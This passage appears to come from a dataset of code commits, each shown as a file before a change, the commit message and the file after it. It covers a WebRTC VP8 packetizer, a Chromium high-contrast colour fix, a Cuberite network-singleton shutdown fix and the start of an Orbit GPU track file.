\/\/ Advance to next partition.\n }\n\n send_bytes -= FirstHeaderExtraLength(); \/\/ Remove the extra length again.\n assert(send_bytes > 0);\n const bool end_of_fragment = (remaining_in_partition == 0);\n \/\/ Write the payload header and the payload to buffer.\n *bytes_to_send = WriteHeaderAndPayload(send_bytes, end_of_fragment, buffer,\n max_payload_len);\n if (*bytes_to_send < 0)\n {\n return -1;\n }\n\n *last_packet = (payload_bytes_sent_ >= payload_size_);\n assert(!*last_packet || (payload_bytes_sent_ == payload_size_));\n return first_partition_in_packet;\n}\n\nint RtpFormatVp8::WriteHeaderAndPayload(int payload_bytes,\n bool end_of_fragment,\n WebRtc_UWord8* buffer,\n int buffer_length)\n{\n \/\/ Write the VP8 payload header.\n \/\/ 0 1 2\n \/\/ 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3\n \/\/ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n \/\/ | RSV |I|N|FI |B| PictureID (1 or 2 octets) |\n \/\/ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n if (payload_bytes < 0)\n {\n return -1;\n }\n if (payload_bytes_sent_ + payload_bytes > payload_size_)\n {\n return -1;\n }\n\n buffer[0] = 0;\n if (hdr_info_.nonReference) buffer[0] |= (0x01 << 3); \/\/ N\n buffer[0] |= (GetFIFlag(end_of_fragment) << 1); \/\/ FI\n if (beginning_) buffer[0] |= 0x01; \/\/ B\n\n int pic_id_len = WritePictureID(&buffer[vp8_header_bytes_],\n buffer_length - vp8_header_bytes_);\n if (pic_id_len < 0) return pic_id_len; \/\/ error\n if (pic_id_len > 0) buffer[0] |= (0x01 << 4); \/\/ I\n\n if (vp8_header_bytes_ + pic_id_len + payload_bytes > buffer_length)\n {\n return -1;\n }\n memcpy(&buffer[vp8_header_bytes_ + pic_id_len],\n &payload_data_[payload_bytes_sent_], payload_bytes);\n\n beginning_ = false; \/\/ next packet cannot be first packet in frame\n \/\/ next packet starts new fragment if this ended one\n first_fragment_ = end_of_fragment;\n payload_bytes_sent_ += payload_bytes;\n\n \/\/ Return total length of written data.\n return payload_bytes + vp8_header_bytes_ + pic_id_len;\n}\n\nint RtpFormatVp8::WritePictureID(WebRtc_UWord8* buffer, int buffer_length) const\n{\n const WebRtc_UWord16 pic_id =\n static_cast<WebRtc_UWord16> (hdr_info_.pictureId);\n int picture_id_len = PictureIdLength();\n if (picture_id_len > buffer_length) return -1; \/\/ error\n if (picture_id_len == 2)\n {\n buffer[0] = 0x80 | ((pic_id >> 8) & 0x7F);\n buffer[1] = pic_id & 0xFF;\n }\n else if (picture_id_len == 1)\n {\n buffer[0] = pic_id & 0x7F;\n }\n return picture_id_len;\n}\n\nint RtpFormatVp8::FirstHeaderExtraLength() const\n{\n if (!beginning_)\n {\n return 0;\n }\n int length = 0;\n\n length += PictureIdLength();\n\n return length;\n}\n\nint RtpFormatVp8::PictureIdLength() const\n{\n if (!beginning_ || hdr_info_.pictureId == kNoPictureId)\n {\n return 0;\n }\n if (hdr_info_.pictureId <= 0x7F)\n {\n return 1;\n }\n else\n {\n return 2;\n }\n}\n\nint RtpFormatVp8::GetFIFlag(bool end_of_fragment) const\n{\n if (first_fragment_ && end_of_fragment) {\n return 0x0;\n }\n if (first_fragment_ && !end_of_fragment) {\n return 0x1;\n }\n if (!first_fragment_ && !end_of_fragment) {\n return 0x2;\n }\n \/\/ if (!first_fragment_ && end_of_fragment)\n return 0x3;\n}\n\n} \/\/ namespace webrtc\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ui\/gfx\/color_utils.h\"\n#include \"ui\/gfx\/sys_color_change_listener.h\"\n\n#if defined(OS_WIN)\n#include <windows.h>\n#endif\n\n#include \"base\/basictypes.h\"\n#include \"base\/memory\/singleton.h\"\n#include \"base\/observer_list.h\"\n#if defined(OS_WIN)\n#include \"ui\/base\/win\/singleton_hwnd.h\"\n#endif\n\nnamespace gfx {\n\nnamespace {\n\nbool g_is_inverted_color_scheme = false;\nbool g_is_inverted_color_scheme_initialized = false;\n\nvoid UpdateInvertedColorScheme() {\n#if defined(OS_WIN)\n int foreground = color_utils::GetLuminanceForColor(\n color_utils::GetSysSkColor(COLOR_WINDOWTEXT));\n int background = color_utils::GetLuminanceForColor(\n color_utils::GetSysSkColor(COLOR_WINDOW));\n HIGHCONTRAST high_contrast = {0};\n high_contrast.cbSize = sizeof(HIGHCONTRAST);\n g_is_inverted_color_scheme =\n SystemParametersInfo(SPI_GETHIGHCONTRAST, 0, &high_contrast, 0) &&\n ((high_contrast.dwFlags & HCF_HIGHCONTRASTON) != 0);\n g_is_inverted_color_scheme_initialized = true;\n#endif\n}\n\n} \/\/ namespace\n\nbool IsInvertedColorScheme() {\n if (!g_is_inverted_color_scheme_initialized)\n UpdateInvertedColorScheme();\n return g_is_inverted_color_scheme;\n}\n\n#if defined(OS_WIN)\nclass SysColorChangeObserver : public ui::SingletonHwnd::Observer {\n public:\n static SysColorChangeObserver* GetInstance();\n\n void AddListener(SysColorChangeListener* listener);\n void RemoveListener(SysColorChangeListener* listener);\n\n private:\n friend struct DefaultSingletonTraits<SysColorChangeObserver>;\n\n SysColorChangeObserver();\n virtual ~SysColorChangeObserver();\n\n virtual void OnWndProc(HWND hwnd,\n UINT message,\n WPARAM wparam,\n LPARAM lparam) OVERRIDE;\n\n ObserverList<SysColorChangeListener> listeners_;\n};\n\n\/\/ static\nSysColorChangeObserver* SysColorChangeObserver::GetInstance() {\n return Singleton<SysColorChangeObserver>::get();\n}\n\nSysColorChangeObserver::SysColorChangeObserver() {\n ui::SingletonHwnd::GetInstance()->AddObserver(this);\n}\n\nSysColorChangeObserver::~SysColorChangeObserver() {\n ui::SingletonHwnd::GetInstance()->RemoveObserver(this);\n}\n\nvoid SysColorChangeObserver::AddListener(SysColorChangeListener* listener) {\n listeners_.AddObserver(listener);\n}\n\nvoid SysColorChangeObserver::RemoveListener(SysColorChangeListener* listener) {\n listeners_.RemoveObserver(listener);\n}\n\nvoid SysColorChangeObserver::OnWndProc(HWND hwnd,\n UINT message,\n WPARAM wparam,\n LPARAM lparam) {\n if (message == WM_SYSCOLORCHANGE ||\n (message == WM_SETTINGCHANGE && wparam == SPI_SETHIGHCONTRAST)) {\n UpdateInvertedColorScheme();\n FOR_EACH_OBSERVER(SysColorChangeListener, listeners_, OnSysColorChange());\n }\n}\n#endif\n\nScopedSysColorChangeListener::ScopedSysColorChangeListener(\n SysColorChangeListener* listener)\n : listener_(listener) {\n#if defined(OS_WIN)\n SysColorChangeObserver::GetInstance()->AddListener(listener_);\n#endif\n}\n\nScopedSysColorChangeListener::~ScopedSysColorChangeListener() {\n#if defined(OS_WIN)\n SysColorChangeObserver::GetInstance()->RemoveListener(listener_);\n#endif\n}\n\n} \/\/ namespace gfx\n<commit_msg>Disable inverting web content when high-contrast mode is on.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ui\/gfx\/color_utils.h\"\n#include \"ui\/gfx\/sys_color_change_listener.h\"\n\n#if defined(OS_WIN)\n#include <windows.h>\n#endif\n\n#include \"base\/basictypes.h\"\n#include \"base\/memory\/singleton.h\"\n#include \"base\/observer_list.h\"\n#if defined(OS_WIN)\n#include \"ui\/base\/win\/singleton_hwnd.h\"\n#endif\n\nnamespace gfx {\n\nnamespace {\n\nbool g_is_inverted_color_scheme = false;\nbool g_is_inverted_color_scheme_initialized = false;\n\nvoid UpdateInvertedColorScheme() {\n#if defined(OS_WIN)\n int foreground = color_utils::GetLuminanceForColor(\n color_utils::GetSysSkColor(COLOR_WINDOWTEXT));\n int background = color_utils::GetLuminanceForColor(\n color_utils::GetSysSkColor(COLOR_WINDOW));\n HIGHCONTRAST high_contrast = {0};\n high_contrast.cbSize = sizeof(HIGHCONTRAST);\n\n \/\/ TODO(dmazzoni): this is temporarily disabled until the color inverting\n \/\/ can be made optional or the need is addressed some other way.\n \/\/ http:\/\/crbug.com\/112944\n \/\/g_is_inverted_color_scheme =\n \/\/ SystemParametersInfo(SPI_GETHIGHCONTRAST, 0, &high_contrast, 0) &&\n \/\/ ((high_contrast.dwFlags & HCF_HIGHCONTRASTON) != 0);\n g_is_inverted_color_scheme_initialized = true;\n#endif\n}\n\n} \/\/ namespace\n\nbool IsInvertedColorScheme() {\n if (!g_is_inverted_color_scheme_initialized)\n UpdateInvertedColorScheme();\n return g_is_inverted_color_scheme;\n}\n\n#if defined(OS_WIN)\nclass SysColorChangeObserver : public ui::SingletonHwnd::Observer {\n public:\n static SysColorChangeObserver* GetInstance();\n\n void AddListener(SysColorChangeListener* listener);\n void RemoveListener(SysColorChangeListener* listener);\n\n private:\n friend struct DefaultSingletonTraits<SysColorChangeObserver>;\n\n SysColorChangeObserver();\n virtual ~SysColorChangeObserver();\n\n virtual void OnWndProc(HWND hwnd,\n UINT message,\n WPARAM wparam,\n LPARAM lparam) OVERRIDE;\n\n ObserverList<SysColorChangeListener> listeners_;\n};\n\n\/\/ static\nSysColorChangeObserver* SysColorChangeObserver::GetInstance() {\n return Singleton<SysColorChangeObserver>::get();\n}\n\nSysColorChangeObserver::SysColorChangeObserver() {\n ui::SingletonHwnd::GetInstance()->AddObserver(this);\n}\n\nSysColorChangeObserver::~SysColorChangeObserver() {\n ui::SingletonHwnd::GetInstance()->RemoveObserver(this);\n}\n\nvoid SysColorChangeObserver::AddListener(SysColorChangeListener* listener) {\n listeners_.AddObserver(listener);\n}\n\nvoid SysColorChangeObserver::RemoveListener(SysColorChangeListener* listener) {\n listeners_.RemoveObserver(listener);\n}\n\nvoid SysColorChangeObserver::OnWndProc(HWND hwnd,\n UINT message,\n WPARAM wparam,\n LPARAM lparam) {\n if (message == WM_SYSCOLORCHANGE ||\n (message == WM_SETTINGCHANGE && wparam == SPI_SETHIGHCONTRAST)) {\n UpdateInvertedColorScheme();\n FOR_EACH_OBSERVER(SysColorChangeListener, listeners_, OnSysColorChange());\n }\n}\n#endif\n\nScopedSysColorChangeListener::ScopedSysColorChangeListener(\n SysColorChangeListener* listener)\n : listener_(listener) {\n#if defined(OS_WIN)\n SysColorChangeObserver::GetInstance()->AddListener(listener_);\n#endif\n}\n\nScopedSysColorChangeListener::~ScopedSysColorChangeListener() {\n#if defined(OS_WIN)\n SysColorChangeObserver::GetInstance()->RemoveListener(listener_);\n#endif\n}\n\n} \/\/ namespace gfx\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ NetworkSingleton.cpp\n\n\/\/ Implements the cNetworkSingleton class representing the storage for global data pertaining to network API\n\/\/ such as a list of all connections, all listening sockets and the LibEvent dispatch thread.\n\n#include \"Globals.h\"\n#include \"NetworkSingleton.h\"\n#include <event2\/event.h>\n#include <event2\/thread.h>\n#include <event2\/bufferevent.h>\n#include <event2\/dns.h>\n#include <event2\/listener.h>\n#include \"IPLookup.h\"\n#include \"HostnameLookup.h\"\n\n\n\n\n\ncNetworkSingleton::cNetworkSingleton(void):\n\tm_HasTerminated(false)\n{\n\t\/\/ Windows: initialize networking:\n\t#ifdef _WIN32\n\t\tWSADATA wsaData;\n\t\tmemset(&wsaData, 0, sizeof(wsaData));\n\t\tint res = WSAStartup (MAKEWORD(2, 2), &wsaData);\n\t\tif (res != 0)\n\t\t{\n\t\t\tint err = WSAGetLastError();\n\t\t\tLOGWARNING(\"WSAStartup failed: %d, WSAGLE = %d (%s)\", res, err, evutil_socket_error_to_string(err));\n\t\t\texit(1);\n\t\t}\n\t#endif \/\/ _WIN32\n\n\t\/\/ Initialize LibEvent logging:\n\tevent_set_log_callback(LogCallback);\n\n\t\/\/ Initialize threading:\n\t#if defined(EVTHREAD_USE_WINDOWS_THREADS_IMPLEMENTED)\n\t\tevthread_use_windows_threads();\n\t#elif defined(EVTHREAD_USE_PTHREADS_IMPLEMENTED)\n\t\tevthread_use_pthreads();\n\t#else\n\t\t#error No threading implemented for EVTHREAD\n\t#endif\n\n\t\/\/ Create the main event_base:\n\tm_EventBase = event_base_new();\n\tif (m_EventBase == nullptr)\n\t{\n\t\tLOGERROR(\"Failed to initialize LibEvent. The server will now terminate.\");\n\t\tabort();\n\t}\n\n\t\/\/ Create the DNS lookup helper:\n\tm_DNSBase = evdns_base_new(m_EventBase, 1);\n\tif (m_DNSBase == nullptr)\n\t{\n\t\tLOGERROR(\"Failed to initialize LibEvent's DNS subsystem. The server will now terminate.\");\n\t\tabort();\n\t}\n\n\t\/\/ Create the event loop thread:\n\tm_EventLoopThread = std::thread(RunEventLoop, this);\n}\n\n\n\n\n\ncNetworkSingleton::~cNetworkSingleton()\n{\n\t\/\/ Check that Terminate has been called already:\n\tASSERT(m_HasTerminated);\n}\n\n\n\n\n\ncNetworkSingleton & cNetworkSingleton::Get(void)\n{\n\tstatic cNetworkSingleton Instance;\n\treturn Instance;\n}\n\n\n\n\n\nvoid cNetworkSingleton::Terminate(void)\n{\n\tASSERT(!m_HasTerminated);\n\tm_HasTerminated = true;\n\n\t\/\/ Wait for the LibEvent event loop to terminate:\n\tevent_base_loopbreak(m_EventBase);\n\tm_EventLoopThread.join();\n\n\t\/\/ Remove all objects:\n\t{\n\t\tcCSLock Lock(m_CS);\n\t\tm_Connections.clear();\n\t\tm_Servers.clear();\n\t\tm_HostnameLookups.clear();\n\t\tm_IPLookups.clear();\n\t}\n\n\t\/\/ Free the underlying LibEvent objects:\n\tevdns_base_free(m_DNSBase, true);\n\tevent_base_free(m_EventBase);\n\n\tlibevent_global_shutdown();\n}\n\n\n\n\n\nvoid cNetworkSingleton::LogCallback(int a_Severity, const char * a_Msg)\n{\n\tswitch (a_Severity)\n\t{\n\t\tcase _EVENT_LOG_DEBUG: LOGD (\"LibEvent: %s\", a_Msg); break;\n\t\tcase _EVENT_LOG_MSG: LOG (\"LibEvent: %s\", a_Msg); break;\n\t\tcase _EVENT_LOG_WARN: LOGWARNING(\"LibEvent: %s\", a_Msg); break;\n\t\tcase _EVENT_LOG_ERR: LOGERROR (\"LibEvent: %s\", a_Msg); break;\n\t\tdefault:\n\t\t{\n\t\t\tLOGWARNING(\"LibEvent: Unknown log severity (%d): %s\", a_Severity, a_Msg);\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\n\n\n\nvoid cNetworkSingleton::RunEventLoop(cNetworkSingleton * a_Self)\n{\n\tevent_base_loop(a_Self->m_EventBase, EVLOOP_NO_EXIT_ON_EMPTY);\n}\n\n\n\n\n\nvoid cNetworkSingleton::AddHostnameLookup(cHostnameLookupPtr a_HostnameLookup)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tm_HostnameLookups.push_back(a_HostnameLookup);\n}\n\n\n\n\n\nvoid cNetworkSingleton::RemoveHostnameLookup(const cHostnameLookup * a_HostnameLookup)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tfor (auto itr = m_HostnameLookups.begin(), end = m_HostnameLookups.end(); itr != end; ++itr)\n\t{\n\t\tif (itr->get() == a_HostnameLookup)\n\t\t{\n\t\t\tm_HostnameLookups.erase(itr);\n\t\t\treturn;\n\t\t}\n\t} \/\/ for itr - m_HostnameLookups[]\n}\n\n\n\n\n\nvoid cNetworkSingleton::AddIPLookup(cIPLookupPtr a_IPLookup)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tm_IPLookups.push_back(a_IPLookup);\n}\n\n\n\n\n\nvoid cNetworkSingleton::RemoveIPLookup(const cIPLookup * a_IPLookup)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tfor (auto itr = m_IPLookups.begin(), end = m_IPLookups.end(); itr != end; ++itr)\n\t{\n\t\tif (itr->get() == a_IPLookup)\n\t\t{\n\t\t\tm_IPLookups.erase(itr);\n\t\t\treturn;\n\t\t}\n\t} \/\/ for itr - m_IPLookups[]\n}\n\n\n\n\n\nvoid cNetworkSingleton::AddLink(cTCPLinkImplPtr a_Link)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tm_Connections.push_back(a_Link);\n}\n\n\n\n\n\nvoid cNetworkSingleton::RemoveLink(const cTCPLinkImpl * a_Link)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tfor (auto itr = m_Connections.begin(), end = m_Connections.end(); itr != end; ++itr)\n\t{\n\t\tif (itr->get() == a_Link)\n\t\t{\n\t\t\tm_Connections.erase(itr);\n\t\t\treturn;\n\t\t}\n\t} \/\/ for itr - m_Connections[]\n}\n\n\n\n\n\nvoid cNetworkSingleton::AddServer(cServerHandleImplPtr a_Server)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tm_Servers.push_back(a_Server);\n}\n\n\n\n\n\nvoid cNetworkSingleton::RemoveServer(const cServerHandleImpl * a_Server)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tfor (auto itr = m_Servers.begin(), end = m_Servers.end(); itr != end; ++itr)\n\t{\n\t\tif (itr->get() == a_Server)\n\t\t{\n\t\t\tm_Servers.erase(itr);\n\t\t\treturn;\n\t\t}\n\t} \/\/ for itr - m_Servers[]\n}\n\n\n\n\n<commit_msg>Fixed cNetworkSingleton's HasTerminated flag.<commit_after>\n\/\/ NetworkSingleton.cpp\n\n\/\/ Implements the cNetworkSingleton class representing the storage for global data pertaining to network API\n\/\/ such as a list of all connections, all listening sockets and the LibEvent dispatch thread.\n\n#include \"Globals.h\"\n#include \"NetworkSingleton.h\"\n#include <event2\/event.h>\n#include <event2\/thread.h>\n#include <event2\/bufferevent.h>\n#include <event2\/dns.h>\n#include <event2\/listener.h>\n#include \"IPLookup.h\"\n#include \"HostnameLookup.h\"\n\n\n\n\n\ncNetworkSingleton::cNetworkSingleton(void):\n\tm_HasTerminated(false)\n{\n\t\/\/ Windows: initialize networking:\n\t#ifdef _WIN32\n\t\tWSADATA wsaData;\n\t\tmemset(&wsaData, 0, sizeof(wsaData));\n\t\tint res = WSAStartup (MAKEWORD(2, 2), &wsaData);\n\t\tif (res != 0)\n\t\t{\n\t\t\tint err = WSAGetLastError();\n\t\t\tLOGWARNING(\"WSAStartup failed: %d, WSAGLE = %d (%s)\", res, err, evutil_socket_error_to_string(err));\n\t\t\texit(1);\n\t\t}\n\t#endif \/\/ _WIN32\n\n\t\/\/ Initialize LibEvent logging:\n\tevent_set_log_callback(LogCallback);\n\n\t\/\/ Initialize threading:\n\t#if defined(EVTHREAD_USE_WINDOWS_THREADS_IMPLEMENTED)\n\t\tevthread_use_windows_threads();\n\t#elif defined(EVTHREAD_USE_PTHREADS_IMPLEMENTED)\n\t\tevthread_use_pthreads();\n\t#else\n\t\t#error No threading implemented for EVTHREAD\n\t#endif\n\n\t\/\/ Create the main event_base:\n\tm_EventBase = event_base_new();\n\tif (m_EventBase == nullptr)\n\t{\n\t\tLOGERROR(\"Failed to initialize LibEvent. The server will now terminate.\");\n\t\tabort();\n\t}\n\n\t\/\/ Create the DNS lookup helper:\n\tm_DNSBase = evdns_base_new(m_EventBase, 1);\n\tif (m_DNSBase == nullptr)\n\t{\n\t\tLOGERROR(\"Failed to initialize LibEvent's DNS subsystem. The server will now terminate.\");\n\t\tabort();\n\t}\n\n\t\/\/ Create the event loop thread:\n\tm_EventLoopThread = std::thread(RunEventLoop, this);\n}\n\n\n\n\n\ncNetworkSingleton::~cNetworkSingleton()\n{\n\t\/\/ Check that Terminate has been called already:\n\tASSERT(m_HasTerminated);\n}\n\n\n\n\n\ncNetworkSingleton & cNetworkSingleton::Get(void)\n{\n\tstatic cNetworkSingleton Instance;\n\treturn Instance;\n}\n\n\n\n\n\nvoid cNetworkSingleton::Terminate(void)\n{\n\tASSERT(!m_HasTerminated);\n\n\t\/\/ Wait for the LibEvent event loop to terminate:\n\tevent_base_loopbreak(m_EventBase);\n\tm_EventLoopThread.join();\n\n\t\/\/ Remove all objects:\n\t{\n\t\tcCSLock Lock(m_CS);\n\t\tm_Connections.clear();\n\t\tm_Servers.clear();\n\t\tm_HostnameLookups.clear();\n\t\tm_IPLookups.clear();\n\t}\n\n\t\/\/ Free the underlying LibEvent objects:\n\tevdns_base_free(m_DNSBase, true);\n\tevent_base_free(m_EventBase);\n\n\tlibevent_global_shutdown();\n\n\t\/\/ Set the HasTerminated flag:\n\t\/\/ (Only set the flag after everything has been removed, to avoid the random failures in the Google-test, caused by links terminating after this flag was set)\n\tm_HasTerminated = true;\n}\n\n\n\n\n\nvoid cNetworkSingleton::LogCallback(int a_Severity, const char * a_Msg)\n{\n\tswitch (a_Severity)\n\t{\n\t\tcase _EVENT_LOG_DEBUG: LOGD (\"LibEvent: %s\", a_Msg); break;\n\t\tcase _EVENT_LOG_MSG: LOG (\"LibEvent: %s\", a_Msg); break;\n\t\tcase _EVENT_LOG_WARN: LOGWARNING(\"LibEvent: %s\", a_Msg); break;\n\t\tcase _EVENT_LOG_ERR: LOGERROR (\"LibEvent: %s\", a_Msg); break;\n\t\tdefault:\n\t\t{\n\t\t\tLOGWARNING(\"LibEvent: Unknown log severity (%d): %s\", a_Severity, a_Msg);\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\n\n\n\nvoid cNetworkSingleton::RunEventLoop(cNetworkSingleton * a_Self)\n{\n\tevent_base_loop(a_Self->m_EventBase, EVLOOP_NO_EXIT_ON_EMPTY);\n}\n\n\n\n\n\nvoid cNetworkSingleton::AddHostnameLookup(cHostnameLookupPtr a_HostnameLookup)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tm_HostnameLookups.push_back(a_HostnameLookup);\n}\n\n\n\n\n\nvoid cNetworkSingleton::RemoveHostnameLookup(const cHostnameLookup * a_HostnameLookup)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tfor (auto itr = m_HostnameLookups.begin(), end = m_HostnameLookups.end(); itr != end; ++itr)\n\t{\n\t\tif (itr->get() == a_HostnameLookup)\n\t\t{\n\t\t\tm_HostnameLookups.erase(itr);\n\t\t\treturn;\n\t\t}\n\t} \/\/ for itr - m_HostnameLookups[]\n}\n\n\n\n\n\nvoid cNetworkSingleton::AddIPLookup(cIPLookupPtr a_IPLookup)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tm_IPLookups.push_back(a_IPLookup);\n}\n\n\n\n\n\nvoid cNetworkSingleton::RemoveIPLookup(const cIPLookup * a_IPLookup)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tfor (auto itr = m_IPLookups.begin(), end = m_IPLookups.end(); itr != end; ++itr)\n\t{\n\t\tif (itr->get() == a_IPLookup)\n\t\t{\n\t\t\tm_IPLookups.erase(itr);\n\t\t\treturn;\n\t\t}\n\t} \/\/ for itr - m_IPLookups[]\n}\n\n\n\n\n\nvoid cNetworkSingleton::AddLink(cTCPLinkImplPtr a_Link)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tm_Connections.push_back(a_Link);\n}\n\n\n\n\n\nvoid cNetworkSingleton::RemoveLink(const cTCPLinkImpl * a_Link)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tfor (auto itr = m_Connections.begin(), end = m_Connections.end(); itr != end; ++itr)\n\t{\n\t\tif (itr->get() == a_Link)\n\t\t{\n\t\t\tm_Connections.erase(itr);\n\t\t\treturn;\n\t\t}\n\t} \/\/ for itr - m_Connections[]\n}\n\n\n\n\n\nvoid cNetworkSingleton::AddServer(cServerHandleImplPtr a_Server)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tm_Servers.push_back(a_Server);\n}\n\n\n\n\n\nvoid cNetworkSingleton::RemoveServer(const cServerHandleImpl * a_Server)\n{\n\tASSERT(!m_HasTerminated);\n\tcCSLock Lock(m_CS);\n\tfor (auto itr = m_Servers.begin(), end = m_Servers.end(); itr != end; ++itr)\n\t{\n\t\tif (itr->get() == a_Server)\n\t\t{\n\t\t\tm_Servers.erase(itr);\n\t\t\treturn;\n\t\t}\n\t} \/\/ for itr - m_Servers[]\n}\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2021 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"GpuSubmissionTrack.h\"\n\n#include <absl\/time\/time.h>\n\n#include <memory>\n\n#include \"App.h\"\n#include \"Batcher.h\"\n#include \"ClientData\/TimerChain.h\"\n#include \"DisplayFormats\/DisplayFormats.h\"\n#include \"GlUtils.h\"\n#include \"OrbitBase\/Logging.h\"\n#include \"OrbitBase\/ThreadConstants.h\"\n#include \"TimeGraph.h\"\n#include \"TimeGraphLayout.h\"\n#include \"TriangleToggle.h\"\n#include \"absl\/strings\/str_format.h\"\n#include \"capture_data.pb.h\"\n\nusing orbit_client_data::TimerChain;\nusing orbit_client_protos::TimerInfo;\n\nconstexpr const char* kSwQueueString = \"sw queue\";\nconstexpr const char* kHwQueueString = \"hw queue\";\nconstexpr const char* kHwExecutionString = \"hw execution\";\nconstexpr const char* kCmdBufferString = \"command buffer\";\n\nGpuSubmissionTrack::GpuSubmissionTrack(Track* parent, TimeGraph* time_graph,\n orbit_gl::Viewport* viewport, TimeGraphLayout* layout,\n uint64_t timeline_hash, OrbitApp* app,\n const orbit_client_data::CaptureData* capture_data)\n : TimerTrack(parent, time_graph, viewport, layout, app, capture_data) {\n draw_background_ = false;\n text_renderer_ = time_graph->GetTextRenderer();\n timeline_hash_ = timeline_hash;\n string_manager_ = app->GetStringManager();\n parent_ = parent;\n}\n\nstd::string GpuSubmissionTrack::GetName() const {\n return absl::StrFormat(\n \"%s_submissions\",\n string_manager_->Get(timeline_hash_).value_or(std::to_string(timeline_hash_)));\n}\n\nstd::string GpuSubmissionTrack::GetTooltip() const {\n return \"Shows scheduling and execution times for selected GPU job \"\n \"submissions\";\n}\n\nvoid GpuSubmissionTrack::OnTimer(const orbit_client_protos::TimerInfo& timer_info) {\n \/\/ In case of having command buffer timers, we need to double the depth of the GPU timers (as we\n \/\/ are drawing the corresponding command buffer timers below them). Therefore, we watch out for\n \/\/ those timers.\n if (timer_info.type() == TimerInfo::kGpuCommandBuffer) {\n has_vulkan_layer_command_buffer_timers_ = true;\n }\n TimerTrack::OnTimer(timer_info);\n}\n\nbool GpuSubmissionTrack::IsTimerActive(const TimerInfo& timer_info) const {\n bool is_same_tid_as_selected = timer_info.thread_id() == app_->selected_thread_id();\n \/\/ We do not properly track the PID for GPU jobs and we still want to show\n \/\/ all jobs as active when no thread is selected, so this logic is a bit\n \/\/ different than SchedulerTrack::IsTimerActive.\n bool no_thread_selected = app_->selected_thread_id() == orbit_base::kAllProcessThreadsTid;\n\n return is_same_tid_as_selected || no_thread_selected;\n}\n\nColor GpuSubmissionTrack::GetTimerColor(const TimerInfo& timer_info, bool is_selected,\n bool is_highlighted) const {\n const Color kInactiveColor(100, 100, 100, 255);\n const Color kSelectionColor(0, 128, 255, 255);\n if (is_highlighted) {\n return TimerTrack::kHighlightColor;\n }\n if (is_selected) {\n return kSelectionColor;\n }\n if (!IsTimerActive(timer_info)) {\n return kInactiveColor;\n }\n if (timer_info.has_color()) {\n CHECK(timer_info.color().red() < 256);\n CHECK(timer_info.color().green() < 256);\n CHECK(timer_info.color().blue() < 256);\n CHECK(timer_info.color().alpha() < 256);\n return Color(static_cast<uint8_t>(timer_info.color().red()),\n static_cast<uint8_t>(timer_info.color().green()),\n static_cast<uint8_t>(timer_info.color().blue()),\n static_cast<uint8_t>(timer_info.color().alpha()));\n }\n\n \/\/ We color code the timeslices for GPU activity using the color\n \/\/ of the CPU thread track that submitted the job.\n Color color = TimeGraph::GetThreadColor(timer_info.thread_id());\n\n \/\/ We disambiguate the different types of GPU activity based on the\n \/\/ string that is displayed on their timeslice.\n float coeff = 1.0f;\n std::string gpu_stage = string_manager_->Get(timer_info.user_data_key()).value_or(\"\");\n if (gpu_stage == kSwQueueString) {\n coeff = 0.5f;\n } else if (gpu_stage == kHwQueueString) {\n coeff = 0.75f;\n } else if (gpu_stage == kHwExecutionString) {\n coeff = 1.0f;\n }\n\n color[0] = static_cast<uint8_t>(coeff * color[0]);\n color[1] = static_cast<uint8_t>(coeff * color[1]);\n color[2] = static_cast<uint8_t>(coeff * color[2]);\n\n constexpr uint8_t kOddAlpha = 210;\n if ((timer_info.depth() & 0x1) == 0u) {\n color[3] = kOddAlpha;\n }\n\n return color;\n}\n\nfloat GpuSubmissionTrack::GetYFromTimer(const TimerInfo& timer_info) const {\n auto adjusted_depth = static_cast<float>(timer_info.depth());\n if (IsCollapsed()) {\n adjusted_depth = 0.f;\n }\n CHECK(timer_info.type() == TimerInfo::kGpuActivity ||\n timer_info.type() == TimerInfo::kGpuCommandBuffer);\n\n \/\/ We are drawing a small gap between each depth, for visualization purposes.\n \/\/ There won't be a gap between \"hw execution\"timers and command buffer timers, which\n \/\/ is why the gap space needs to be calculated before adjusting the depth further (see below).\n float gap_space = adjusted_depth * layout_->GetSpaceBetweenGpuDepths();\n\n \/\/ Command buffer timers are drawn underneath the matching \"hw execution\" timer, which has the\n \/\/ same depth value as the command buffer timer. Therefore, we need to double the depth in the\n \/\/ case that we have command buffer timers.\n if (has_vulkan_layer_command_buffer_timers_) {\n adjusted_depth *= 2.f;\n }\n\n \/\/ Command 